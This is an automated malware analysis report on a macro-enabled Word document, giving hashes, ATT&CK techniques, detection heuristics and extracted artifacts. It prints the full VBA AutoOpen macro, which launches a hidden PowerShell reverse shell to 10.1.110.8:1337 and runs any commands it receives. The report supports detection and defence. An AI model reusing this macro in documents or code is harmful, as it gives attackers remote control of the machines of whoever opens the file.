Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c14aeabfc709f9a2…

MALICIOUS

Office (OOXML)

17.4 KB Created: 2021-09-12 12:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-17
MD5: d03172a52a402a66bbe3f6f8b14496b2 SHA-1: 1f044a444c3cf95c452d94e7140402890db5063c SHA-256: c14aeabfc709f9a207ea757ff962874ddc49aaa1a9597433ff82812f8d143919
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a PowerShell command that establishes a reverse shell connection to the IP address 10.1.110.8 on port 1337. This indicates the document is designed to download and execute a second-stage payload, likely for remote access.

Heuristics 7

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1063 bytes
SHA-256: cd9a56ab61c53a7a175cae22121f9e0f8326d7af1ef71a48fde80690dc89ed7f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim PID As Variant
    PID = Shell("powershell -nop -W hidden -noni -ep bypass -c ""$TCPClient = New-Object Net.Sockets.TCPClient('10.1.110.8', 1337);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()""")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 7daac64d4e553e576a0adc5a2d422a94df208cbad38f0d3a2c7dc0d1f83cbd25
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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